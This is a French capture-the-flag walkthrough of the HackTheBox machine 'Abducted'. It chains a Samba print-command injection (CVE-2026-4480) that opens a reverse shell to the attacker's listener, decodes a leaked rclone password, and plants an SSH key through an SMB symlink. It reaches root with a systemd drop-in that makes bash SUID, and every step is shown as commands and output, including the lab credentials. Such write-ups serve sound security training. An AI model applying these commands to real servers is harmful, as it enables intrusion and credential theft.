
🔴 HackTheBox Abducted (Medium) — CVE-2026-4480 (Samba %J) → révélation rclone → SMB-Symlink → systemd Drop-in → Root
** Niveau de difficulté : ** Moyen · ** Système d'exploitation : ** Linux · ** Catégorie : ** Samba CVE / Élévation de privilèges
Par @timgad794
Abducted simule un serveur local de fichiers et d'impression compromis dans un environnement de services professionnels. La machine enchaîne une vulnérabilité du sous-système d'impression Samba (CVE-2026-4480), une fuite d'identifiants rclone, une attaque par lien symbolique SMB et une élévation de privilèges via un drop-in systemd.
Chaîne d'exploitation :
Recon (nmap) → SMB enum (HP-Reception printer share)
→ CVE-2026-4480 (Samba %J command injection) → RCE as nobody
→ /opt/offsite-backup/rclone.conf (obfuscated password)
→ rclone reveal → cleartext password
→ SSH as scott → User Flag
→ SMB symlink via "wide links" + "force user = marcus" → SSH as marcus
→ systemd drop-in (smbd.service.d) → SUID bash → root
Scan Nmap initial : Scan Nmap
Shell inversé en tant que nobody : Reverse Shell
Shell root avec bash SUID : Root Shell
echo "10.129.244.177 abducted.htb" | sudo tee -a /etc/hosts
nmap abducted.htb -sCV -A -oN abducted-nmap.txt
Résultats :
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 9.6p1 Ubuntu |
| 139/tcp | netbios-ssn | Samba smbd 4 |
| 445/tcp | netbios-ssn | Samba smbd 4 |
3 ports TCP ouverts — un serveur de fichiers et d'impression Linux.
smbclient -L //abducted.htb -N
Sortie :
Sharename Type Comment
--------- ---- -------
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)
Principaux résultats :
HP-Reception — partage d'imprimante avec accès invitétransfer — partage de transfert de fichiers (utilisé plus tard pour l'attaque par lien symbolique)Samba transmet la description du travail d'impression contrôlée par le client à la print command via le placeholder %J sans échapper les métacaractères du shell. Cela permet à des attaquants non authentifiés d'exécuter des commandes arbitraires avec le compte du service d'impression.
git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC.git
cd CVE-2026-4480-PoC
cat exploit.py | head -30
Terminal A :
nc -lvnp 8443
Terminal B :
cd ~/CVE-2026-4480-PoC
python3 exploit.py 10.129.244.177 10.10.16.96 8443 -P HP-Reception
Sortie attendue :
[*] target : 10.129.244.177 (\\10.129.244.177\HP-Reception)
[*] callback : 10.10.16.96:8443
[+] print job submitted -- check your listener
Terminal A :
Connection received on 10.129.244.177 ...
nobody@abducted:/var/spool/samba$
Nous disposons désormais d'une RCE en tant que nobody (uid=65534).
id
# uid=65534(nobody) gid=65534(nogroup)
cat /etc/passwd | grep -E "bash|sh$"
# → root, scott, marcus
find / -type f -name "rclone.conf" 2>/dev/null
# → /opt/offsite-backup/rclone.conf
cat /opt/offsite-backup/rclone.conf
Sortie :
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix
rclone utilise une obfuscation base64 réversible. Utilisez rclone lui-même :
# On Kali (not inside the shell)
sudo apt install -y rclone
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
Sortie :
iXzvcib3SrpZ
scottssh [email protected]
# Password: iXzvcib3SrpZ
Connexion réussie !
id
# uid=1000(scott) gid=1001(scott)
cat ~/user.txt
# 🟢 User Flag
scott → marcusLe partage transfer dans /etc/samba/shares.conf contient :
[transfer]
path = /srv/transfer
force user = marcus
wide links = yes
...
Signification :
force user = marcus — chaque opération sur les fichiers s'exécute en tant que marcuswide links = yes — les liens symboliques peuvent pointer en dehors du répertoire partagéEn tant que scott dans la session SSH :
# SSH keypair in scott's home (not /tmp — nobody owns files there)
ssh-keygen -q -t ed25519 -N '' -f ~/k
# Symlink to marcus's home
ln -s /home/marcus /srv/transfer/keys
# Upload public key — ABSOLUTE paths required (smbclient does not expand tilde)
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'put /home/scott/k.pub keys/.ssh/authorized_keys'
Vérification :
smbclient //127.0.0.1/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'get keys/.ssh/authorized_keys /tmp/ak'
diff /tmp/ak /home/scott/k.pub && echo "KEYS MATCH"
ssh -i /home/scott/k -o StrictHostKeyChecking=no marcus@localhost
id
# → uid=1001(marcus) groups=1002(marcus),1000(operators)
Important : operators est le groupe clé pour l'escalade.
marcus → rootfind / -group operators 2>/dev/null
# → /etc/systemd/system/smbd.service.d
ls -ld /etc/systemd/system/smbd.service.d/
# drwxrws--- 2 root operators
Le groupe operators dispose d'un accès en écriture au répertoire drop-in systemd du service smbd.
En tant que marcus :
cat > /etc/systemd/system/smbd.service.d/daffy.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF
Recharger + redémarrer (polkit autorise operators à exécuter daemon-reload sans mot de passe) :
systemctl daemon-reload
systemctl restart smbd
/bin/bash -p
id
# → euid=0(root)
cat /root/root.txt
# 🔴 Root Flag
Box entièrement compromise. ✅
| Flag | Chemin |
|---|---|
| 🟢 Utilisateur | /home/scott/user.txt |
| 🔴 Root | /root/root.txt |
| Concept | Application |
|---|---|
| CVE-2026-4480 | Injection de commande d'impression Samba %J → RCE |
| Désobfuscation rclone | rclone reveal pour la désobfuscation base64 réversible |
| Réutilisation de mot de passe | Le mot de passe de svc-backup fonctionne aussi pour scott |
| Attaque par lien symbolique SMB | wide links = yes + force user = marcus |
| Détournement de drop-in systemd | Accès en écriture à smbd.service.d → ExecStartPre |
| Bash SUID | chmod +s /bin/bash + /bin/bash -p → euid=0 |
| Contournement de polkit | Le groupe operators peut faire daemon-reload sans authentification |